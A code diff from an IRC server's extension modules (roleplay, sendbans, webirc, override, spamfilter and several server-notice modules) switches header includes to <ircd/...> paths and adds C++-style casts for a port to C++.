flood_endgrace(source_p);
*buf = '\0';
if((p = strchr(parv[1], ',')))
if((p = (char *)strchr(parv[1], ',')))
*p = '\0';
name = parv[1];
@ -144,7 +144,7 @@ m_remove(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *source
*/
}
if((p = strchr(parv[2], ',')))
if((p = (char *)strchr(parv[2], ',')))
*p = '\0';
user = parv[2]; /* strtoken(&p2, parv[2], ","); */

View file

@ -14,20 +14,20 @@
*/
#include "stdinc.h"
#include "ircd.h"
#include "client.h"
#include "modules.h"
#include "send.h"
#include "numeric.h"
#include "hash.h"
#include "s_serv.h"
#include "inline/stringops.h"
#include "chmode.h"
#include "tgchange.h"
#include "channel.h"
#include "packet.h"
#include "messages.h"
#include <ircd/stdinc.h>
#include <ircd/ircd.h>
#include <ircd/client.h>
#include <ircd/modules.h>
#include <ircd/send.h>
#include <ircd/numeric.h>
#include <ircd/hash.h>
#include <ircd/s_serv.h>
#include <ircd/inline/stringops.h>
#include <ircd/chmode.h>
#include <ircd/tgchange.h>
#include <ircd/channel.h>
#include <ircd/packet.h>
#include <ircd/messages.h>
static const char roleplay_desc[] =
"Adds a roleplaying system that allows faked nicknames to talk in a channel set +N";

View file

@ -29,20 +29,19 @@
* POSSIBILITY OF SUCH DAMAGE.
*/
#include "stdinc.h"
#include "client.h"
#include "ircd.h"
#include "match.h"
#include "numeric.h"
#include "s_conf.h"
#include "s_serv.h"
#include "s_newconf.h"
#include "send.h"
#include "msg.h"
#include "hash.h"
#include "modules.h"
#include "messages.h"
#include "rb_radixtree.h"
#include <ircd/stdinc.h>
#include <ircd/client.h>
#include <ircd/ircd.h>
#include <ircd/match.h>
#include <ircd/numeric.h>
#include <ircd/s_conf.h>
#include <ircd/s_serv.h>
#include <ircd/s_newconf.h>
#include <ircd/send.h>
#include <ircd/msg.h>
#include <ircd/hash.h>
#include <ircd/modules.h>
#include <ircd/messages.h>
static const char sendbands_desc[] =
"Adds the ability to send all permanent RESVs and XLINEs to given server";
@ -118,7 +117,7 @@ mo_sendbans(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *sou
count = 0;
RB_DLINK_FOREACH(ptr, global_serv_list.head)
{
server_p = ptr->data;
server_p = (Client *)ptr->data;
if (IsMe(server_p))
continue;
if (match(target, server_p->name))
@ -138,7 +137,7 @@ mo_sendbans(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *sou
RB_DLINK_FOREACH(ptr, resv_conf_list.head)
{
aconf = ptr->data;
aconf = (ConfItem *)ptr->data;
if (aconf->hold)
continue;
sendto_match_servs(source_p, target,
@ -147,8 +146,10 @@ mo_sendbans(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *sou
target, aconf->host, aconf->passwd);
}
RB_RADIXTREE_FOREACH(aconf, &state, resv_tree)
void *elem;
RB_RADIXTREE_FOREACH(elem, &state, resv_tree)
{
aconf = (ConfItem *)elem;
if (aconf->hold)
continue;
sendto_match_servs(source_p, target,
@ -159,7 +160,7 @@ mo_sendbans(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *sou
RB_DLINK_FOREACH(ptr, xline_conf_list.head)
{
aconf = ptr->data;
aconf = (ConfItem *)ptr->data;
if (aconf->hold)
continue;
mask2 = expand_xline(aconf->host);

View file

@ -38,20 +38,20 @@
* cgiirc.config
*/
#include "stdinc.h"
#include "client.h" /* client struct */
#include "match.h"
#include "hostmask.h"
#include "send.h" /* sendto_one */
#include "numeric.h" /* ERR_xxx */
#include "ircd.h" /* me */
#include "msg.h"
#include "parse.h"
#include "modules.h"
#include "s_serv.h"
#include "hash.h"
#include "s_conf.h"
#include "reject.h"
#include <ircd/stdinc.h>
#include <ircd/client.h> /* client struct */
#include <ircd/match.h>
#include <ircd/hostmask.h>
#include <ircd/send.h> /* sendto_one */
#include <ircd/numeric.h> /* ERR_xxx */
#include <ircd/ircd.h> /* me */
#include <ircd/msg.h>
#include <ircd/parse.h>
#include <ircd/modules.h>
#include <ircd/s_serv.h>
#include <ircd/hash.h>
#include <ircd/s_conf.h>
#include <ircd/reject.h>
static const char webirc_desc[] = "Adds support for the WebIRC system";

View file

@ -6,19 +6,19 @@
* Licensed under the WTFPLv2
*/
#include "stdinc.h"
#include "modules.h"
#include "hook.h"
#include "client.h"
#include "ircd.h"
#include "send.h"
#include "hash.h"
#include "s_conf.h"
#include "s_user.h"
#include "s_serv.h"
#include "numeric.h"
#include "privilege.h"
#include "s_newconf.h"
#include <ircd/stdinc.h>
#include <ircd/modules.h>
#include <ircd/hook.h>
#include <ircd/client.h>
#include <ircd/ircd.h>
#include <ircd/send.h>
#include <ircd/hash.h>
#include <ircd/s_conf.h>
#include <ircd/s_user.h>
#include <ircd/s_serv.h>
#include <ircd/numeric.h>
#include <ircd/privilege.h>
#include <ircd/s_newconf.h>
static const char nokill_desc[] = "Prevents operators from killing services";

View file

@ -3,14 +3,14 @@
* -- jilles
*/
#include "stdinc.h"
#include "modules.h"
#include "client.h"
#include "hook.h"
#include "ircd.h"
#include "send.h"
#include "s_conf.h"
#include "s_newconf.h"
#include <ircd/stdinc.h>
#include <ircd/modules.h>
#include <ircd/client.h>
#include <ircd/hook.h>
#include <ircd/ircd.h>
#include <ircd/send.h>
#include <ircd/s_conf.h>
#include <ircd/s_newconf.h>
static const char no_locops_desc[] = "Disables local operators";

View file

@ -4,14 +4,14 @@
* -- jilles
*/
#include "stdinc.h"
#include "modules.h"
#include "client.h"
#include "hook.h"
#include "ircd.h"
#include "send.h"
#include "s_conf.h"
#include "s_newconf.h"
#include <ircd/stdinc.h>
#include <ircd/modules.h>
#include <ircd/client.h>
#include <ircd/hook.h>
#include <ircd/ircd.h>
#include <ircd/send.h>
#include <ircd/s_conf.h>
#include <ircd/s_newconf.h>
static const char noi_desc[] =
"Disallow operators from setting user mode +i on themselves";

View file

@ -8,19 +8,19 @@
* able to use this extension.
*/
#include "stdinc.h"
#include "modules.h"
#include "hook.h"
#include "client.h"
#include "ircd.h"
#include "send.h"
#include "hash.h"
#include "s_conf.h"
#include "s_user.h"
#include "s_serv.h"
#include "numeric.h"
#include "privilege.h"
#include "s_newconf.h"
#include <ircd/stdinc.h>
#include <ircd/modules.h>
#include <ircd/hook.h>
#include <ircd/client.h>
#include <ircd/ircd.h>
#include <ircd/send.h>
#include <ircd/hash.h>
#include <ircd/s_conf.h>
#include <ircd/s_user.h>
#include <ircd/s_serv.h>
#include <ircd/numeric.h>
#include <ircd/privilege.h>
#include <ircd/s_newconf.h>
static const char override_desc[] =
"Adds user mode +p, an operator-only user mode that grants temporary privileges to override anything";
@ -63,7 +63,7 @@ update_session_deadline(struct Client *source_p, struct OverrideSession *session
RB_DLINK_FOREACH(n, overriding_opers.head)
{
struct OverrideSession *s = n->data;
struct OverrideSession *s = (OverrideSession *)n->data;
if (s->client == source_p)
{
@ -75,7 +75,7 @@ update_session_deadline(struct Client *source_p, struct OverrideSession *session
if (session_p == NULL)
{
session_p = rb_malloc(sizeof(struct OverrideSession));
session_p = (OverrideSession *)rb_malloc(sizeof(struct OverrideSession));
session_p->client = source_p;
}
@ -92,7 +92,7 @@ expire_override_deadlines(void *unused)
RB_DLINK_FOREACH_SAFE(n, tn, overriding_opers.head)
{
struct OverrideSession *session_p = n->data;
struct OverrideSession *session_p = (OverrideSession *)n->data;
if (session_p->deadline > rb_current_time())
break;
@ -140,7 +140,7 @@ check_umode_change(void *vdata)
RB_DLINK_FOREACH_SAFE(n, tn, overriding_opers.head)
{
struct OverrideSession *session_p = n->data;
struct OverrideSession *session_p = (OverrideSession *)n->data;
if (session_p->client != source_p)
continue;
@ -246,7 +246,7 @@ handle_client_exit(void *vdata)
RB_DLINK_FOREACH_SAFE(n, tn, overriding_opers.head)
{
struct OverrideSession *session_p = n->data;
struct OverrideSession *session_p = (OverrideSession *)n->data;
if (session_p->client != source_p)
continue;

View file

@ -2,19 +2,19 @@
* restrict unauthenticated users from doing anything as channel op
*/
#include "stdinc.h"
#include "modules.h"
#include "hook.h"
#include "client.h"
#include "ircd.h"
#include "send.h"
#include "hash.h"
#include "s_conf.h"
#include "s_user.h"
#include "s_serv.h"
#include "numeric.h"
#include "privilege.h"
#include "s_newconf.h"
#include <ircd/stdinc.h>
#include <ircd/modules.h>
#include <ircd/hook.h>
#include <ircd/client.h>
#include <ircd/ircd.h>
#include <ircd/send.h>
#include <ircd/hash.h>
#include <ircd/s_conf.h>
#include <ircd/s_user.h>
#include <ircd/s_serv.h>
#include <ircd/numeric.h>
#include <ircd/privilege.h>
#include <ircd/s_newconf.h>
static const char restrict_desc[] =
"Restrict unautenticated users from doing anything as channel ops";

View file

@ -2,15 +2,14 @@
* Channel creation notices
*/
#include "stdinc.h"
#include "modules.h"
#include "client.h"
#include "hook.h"
#include "ircd.h"
#include "send.h"
#include "s_conf.h"
#include "snomask.h"
#include "rb_lib.h"
#include <ircd/stdinc.h>
#include <ircd/modules.h>
#include <ircd/client.h>
#include <ircd/hook.h>
#include <ircd/ircd.h>
#include <ircd/send.h>
#include <ircd/s_conf.h>
#include <ircd/snomask.h>
static const char sno_desc[] =
"Adds server notice mask +l that allows operators to receive channel creation notices";

View file

@ -6,14 +6,14 @@
* -- jilles
*/
#include "stdinc.h"
#include "modules.h"
#include "client.h"
#include "hook.h"
#include "ircd.h"
#include "send.h"
#include "s_conf.h"
#include "snomask.h"
#include <ircd/stdinc.h>
#include <ircd/modules.h>
#include <ircd/client.h>
#include <ircd/hook.h>
#include <ircd/ircd.h>
#include <ircd/send.h>
#include <ircd/s_conf.h>
#include <ircd/snomask.h>
static const char sno_desc[] =
"Adds server notice mask +F that allows operators to receive notices for connections on other servers";

View file

@ -7,13 +7,13 @@
* more data across servers -- jilles
*/
#include "stdinc.h"
#include "modules.h"
#include "client.h"
#include "hook.h"
#include "ircd.h"
#include "send.h"
#include "s_conf.h"
#include <ircd/stdinc.h>
#include <ircd/modules.h>
#include <ircd/client.h>
#include <ircd/hook.h>
#include <ircd/ircd.h>
#include <ircd/send.h>
#include <ircd/s_conf.h>
static const char sno_desc[] =
"Adds server notices for global XLINEs, KLINEs, and DLINEs";

View file

@ -2,14 +2,14 @@
* Remote client nick change notices.
*/
#include "stdinc.h"
#include "modules.h"
#include "client.h"
#include "hook.h"
#include "ircd.h"
#include "send.h"
#include "s_conf.h"
#include "snomask.h"
#include <ircd/stdinc.h>
#include <ircd/modules.h>
#include <ircd/client.h>
#include <ircd/hook.h>
#include <ircd/ircd.h>
#include <ircd/send.h>
#include <ircd/s_conf.h>
#include <ircd/snomask.h>
static const char sno_desc[] =
"Adds server notices for remote nick changes";
@ -37,8 +37,8 @@ static void
h_gnc_nick_change(hook_data *data)
{
struct Client *source_p = data->client;
const char *oldnick = data->arg1;
const char *newnick = data->arg2;
const char *oldnick = (const char *)data->arg1;
const char *newnick = (const char *)data->arg2;
sendto_realops_snomask_from(SNO_NCHANGE, L_ALL, source_p->servptr,
"Nick change: From %s to %s [%s@%s]",

View file

@ -2,14 +2,14 @@
* Remote oper up notices.
*/
#include "stdinc.h"
#include "modules.h"
#include "client.h"
#include "hook.h"
#include "ircd.h"
#include "send.h"
#include "s_conf.h"
#include "snomask.h"
#include <ircd/stdinc.h>
#include <ircd/modules.h>
#include <ircd/client.h>
#include <ircd/hook.h>
#include <ircd/ircd.h>
#include <ircd/send.h>
#include <ircd/s_conf.h>
#include <ircd/snomask.h>
static const char sno_desc[] =
"Adds server notices for remote oper up";

View file

@ -6,12 +6,12 @@
* (you need to put ~servnotice in oper_only_umodes for this to work).
*/
#include "stdinc.h"
#include "modules.h"
#include "hook.h"
#include "client.h"
#include "ircd.h"
#include "send.h"
#include <ircd/stdinc.h>
#include <ircd/modules.h>
#include <ircd/hook.h>
#include <ircd/client.h>
#include <ircd/ircd.h>
#include <ircd/send.h>
/* undefine this to allow anyone to receive whois notifications */
#define OPERONLY

View file

@ -29,15 +29,15 @@
* POSSIBILITY OF SUCH DAMAGE.
*/
#include "stdinc.h"
#include "s_conf.h"
#include "numeric.h"
#include "modules.h"
#include "hook.h"
#include "send.h"
#include "s_serv.h"
#include "hash.h"
#include "newconf.h"
#include <ircd/stdinc.h>
#include <ircd/s_conf.h>
#include <ircd/numeric.h>
#include <ircd/modules.h>
#include <ircd/hook.h>
#include <ircd/send.h>
#include <ircd/s_serv.h>
#include <ircd/hash.h>
#include <ircd/newconf.h>
#include "spamfilter.h"
#define PCRE2_STATIC 1
@ -152,7 +152,7 @@ struct Expr *new_expr(const char *const pattern,
int *const errcode,
PCRE2_SIZE *const erroff)
{
struct Expr *const ret = rb_malloc(sizeof(struct Expr));
const auto ret((Expr *)rb_malloc(sizeof(Expr)));
ret->id = hash_pattern(pattern);
ret->comp_opts = comp_opts;
ret->match_opts = match_opts;
@ -199,7 +199,7 @@ struct Expr *new_expr(const char *const pattern,
static
struct Expr *find_expr(const unsigned int id)
{
return rb_dictionary_retrieve(exprs, &id);
return (Expr *)rb_dictionary_retrieve(exprs, &id);
}
@ -257,7 +257,7 @@ int activate_expr(struct Expr *const expr,
static
struct Expr *deactivate_expr(const unsigned int id)
{
return rb_dictionary_delete(exprs, &id);
return (Expr *)rb_dictionary_delete(exprs, &id);
}
@ -295,7 +295,7 @@ struct Expr *activate_new_expr(const char *const pattern,
static
int deactivate_and_free_expr(const unsigned int id)
{
struct Expr *const expr = rb_dictionary_delete(exprs, &id);
struct Expr *const expr = (Expr *)rb_dictionary_delete(exprs, &id);
free_expr(expr);
return expr != NULL;
}
@ -607,10 +607,11 @@ struct Expr *match_any_expr(const char *const text,
const size_t off,
const unsigned int options)
{
struct Expr *expr;
void *elem;
rb_dictionary_iter state;
RB_DICTIONARY_FOREACH(expr, &state, exprs)
RB_DICTIONARY_FOREACH(elem, &state, exprs)
{
auto *const expr(reinterpret_cast<Expr *>(elem));
if(match_expr(expr, text, len, off, options) > 0)
return expr;
}
@ -637,7 +638,7 @@ int dump_pcre_config(struct Client *client_p, struct Client *source_p, int parc,
if((v.v_ulong = pcre2_config(PCRE2_CONFIG_VERSION, NULL)) > 0)
{
v.v_ulong *= (PCRE2_CODE_UNIT_WIDTH / 8);
v.v_buf = rb_malloc(v.v_ulong);
v.v_buf = (char *)rb_malloc(v.v_ulong);
pcre2_config(PCRE2_CONFIG_VERSION, v.v_buf);
sendto_one_notice(source_p, ":\2%-30s\2: (%s)", "PCRE2 VERSION", v.v_buf);
rb_free(v.v_buf);
@ -658,7 +659,7 @@ int dump_pcre_config(struct Client *client_p, struct Client *source_p, int parc,
if((v.v_ulong = pcre2_config(PCRE2_CONFIG_JITTARGET, NULL)) > 0)
{
v.v_ulong *= (PCRE2_CODE_UNIT_WIDTH / 8);
v.v_buf = rb_malloc(v.v_ulong);
v.v_buf = (char *)rb_malloc(v.v_ulong);
pcre2_config(PCRE2_CONFIG_JITTARGET, v.v_buf);
sendto_one_notice(source_p, ":\2%-30s\2: (%s)", "PCRE2 JITTARGET", v.v_buf);
rb_free(v.v_buf);
@ -697,7 +698,7 @@ int dump_pcre_config(struct Client *client_p, struct Client *source_p, int parc,
if((v.v_ulong = pcre2_config(PCRE2_CONFIG_UNICODE_VERSION, NULL)) > 0)
{
v.v_ulong *= (PCRE2_CODE_UNIT_WIDTH / 8);
v.v_buf = rb_malloc(v.v_ulong);
v.v_buf = (char *)rb_malloc(v.v_ulong);
pcre2_config(PCRE2_CONFIG_UNICODE_VERSION, v.v_buf);
sendto_one_notice(source_p, ":\2%-30s\2: (%s)", "PCRE2 UNICODE_VERSION", v.v_buf);
rb_free(v.v_buf);
@ -774,10 +775,11 @@ int spamexpr_list(struct Client *client_p, struct Client *source_p, int parc, co
for(size_t i = 0; i < parc; i++)
nparv[i+1] = parv[i];
struct Expr *expr;
void *elem;
rb_dictionary_iter state;
RB_DICTIONARY_FOREACH(expr, &state, exprs)
RB_DICTIONARY_FOREACH(elem, &state, exprs)
{
auto *const expr(reinterpret_cast<Expr *>(elem));
snprintf(id, sizeof(id), "%u", expr->id);
spamexpr_info(client_p, source_p, parc+1, nparv);
}
@ -926,10 +928,11 @@ int spamexpr_test(struct Client *client_p, struct Client *source_p, int parc, co
return 0;
}
struct Expr *expr;
void *elem;
rb_dictionary_iter state;
RB_DICTIONARY_FOREACH(expr, &state, exprs)
RB_DICTIONARY_FOREACH(elem, &state, exprs)
{
auto *const expr(reinterpret_cast<Expr *>(elem));
const int ret = match_expr(expr, parv[1], len, 0, 0);
sendto_one_notice(source_p, ":#%-2d: (%d) %s", id, ret, ret > 0? "POSITIVE" : "NEGATIVE");
}
@ -947,10 +950,11 @@ int spamexpr_sync(struct Client *client_p, struct Client *source_p, int parc, co
return 0;
}
struct Expr *expr;
void *elem;
rb_dictionary_iter state;
RB_DICTIONARY_FOREACH(expr, &state, exprs)
RB_DICTIONARY_FOREACH(elem, &state, exprs)
{
auto *const expr(reinterpret_cast<Expr *>(elem));
char comp_opts[128] = {0}, match_opts[128] = {0}, jit_opts[128] = {0};
strlcat_pcre_opts(expr->comp_opts, comp_opts, sizeof(comp_opts), str_pcre_comp);
strlcat_pcre_opts(expr->match_opts, match_opts, sizeof(match_opts), str_pcre_match);
@ -1060,10 +1064,11 @@ void hook_doing_stats(hook_data_int *const data)
if(statchar != STATCHAR_SPAMFILTER)
return;
struct Expr *expr;
void *elem;
rb_dictionary_iter state;
RB_DICTIONARY_FOREACH(expr, &state, exprs)
RB_DICTIONARY_FOREACH(elem, &state, exprs)
{
auto *const expr(reinterpret_cast<Expr *>(elem));
char comp_opts[128] = {0}, match_opts[128] = {0};
strlcat_pcre_opts(expr->comp_opts, comp_opts, sizeof(comp_opts), str_pcre_comp);
strlcat_pcre_opts(expr->match_opts, match_opts, sizeof(match_opts), str_pcre_match);
@ -1105,15 +1110,15 @@ void hook_server_introduced(hook_data_client *const data)
*/
static
int exprs_comparator(const unsigned int *const a, const unsigned int *const b)
int exprs_comparator(const void *const a, const void *const b)
{
return *b - *a;
return *reinterpret_cast<const unsigned int *>(b) - *reinterpret_cast<const unsigned int *>(a);
}
static
void exprs_destructor(rb_dictionary_element *const ptr, void *const priv)
{
free_expr(ptr->data);
free_expr((Expr *)ptr->data);
}
@ -1137,12 +1142,12 @@ int set_parm_opt(const conf_parm_t *const parm,
static
void set_parm_opts(const conf_parm_t *const val,
void set_parm_opts(const void *const val,
unsigned int *const dest,
long (*const reflector)(const char *),
const char *const optname)
{
for(const conf_parm_t *parm = val; parm; parm = parm->next)
for(const auto *parm((conf_parm_t *)val); parm; parm = parm->next)
if(!set_parm_opt(parm, dest, reflector))
conf_report_error("Unrecognized PCRE %s option: %s", optname, parm->v.string);
}
@ -1214,7 +1219,7 @@ void conf_spamexpr_jit_opts(void *const val)
static
void conf_spamexpr_pattern(void *const val)
{
const char *const pattern = val;
const char *const pattern = (const char *)val;
rb_strlcpy(conf_spamexpr_cur.pattern, pattern, sizeof(conf_spamexpr_cur.pattern));
}

View file

@ -29,13 +29,13 @@
* POSSIBILITY OF SUCH DAMAGE.
*/
#include "stdinc.h"
#include "modules.h"
#include "hook.h"
#include "client.h"
#include "send.h"
#include "hash.h"
#include "newconf.h"
#include <ircd/stdinc.h>
#include <ircd/modules.h>
#include <ircd/hook.h>
#include <ircd/client.h>
#include <ircd/send.h>
#include <ircd/hash.h>
#include <ircd/newconf.h>
#include "spamfilter.h"
@ -96,7 +96,7 @@ void bloom_destroy(void)
{
for(size_t i = 0; i < NUM_HASHES; i++)
{
rb_free(bloom[i]);
delete bloom[i];
bloom[i] = NULL;
}
@ -111,7 +111,7 @@ void bloom_create(const size_t size)
return;
for(size_t i = 0; i < NUM_HASHES; i++)
bloom[i] = rb_malloc(size);
bloom[i] = new uint8_t[size];
bloom_size = size;
bloom_flush();
@ -171,7 +171,7 @@ int chans_add(struct Channel *const chptr)
rb_dlink_node *ptr;
RB_DLINK_FOREACH(ptr, chptr->members.head)
{
const struct membership *const msptr = ptr->data;
const auto msptr(reinterpret_cast<membership *>(ptr->data));
bloom_add_str(msptr->client_p->name);
}

View file

@ -19,12 +19,12 @@
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
* USA
*/
#include "stdinc.h"
#include "modules.h"
#include "hook.h"
#include "client.h"
#include "ircd.h"
#include "send.h"
#include <ircd/stdinc.h>
#include <ircd/modules.h>
#include <ircd/hook.h>
#include <ircd/client.h>
#include <ircd/ircd.h>
#include <ircd/send.h>
static const char spy_desc[] = "Sends a notice when someone uses ADMIN";

View file

@ -19,12 +19,12 @@
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
* USA
*/
#include "stdinc.h"
#include "modules.h"
#include "hook.h"
#include "client.h"
#include "ircd.h"
#include "send.h"
#include <ircd/stdinc.h>
#include <ircd/modules.h>
#include <ircd/hook.h>
#include <ircd/client.h>
#include <ircd/ircd.h>
#include <ircd/send.h>
static const char spy_desc[] = "Sends a notice when someone uses INFO";

Some files were not shown because too many files have changed in this diff Show more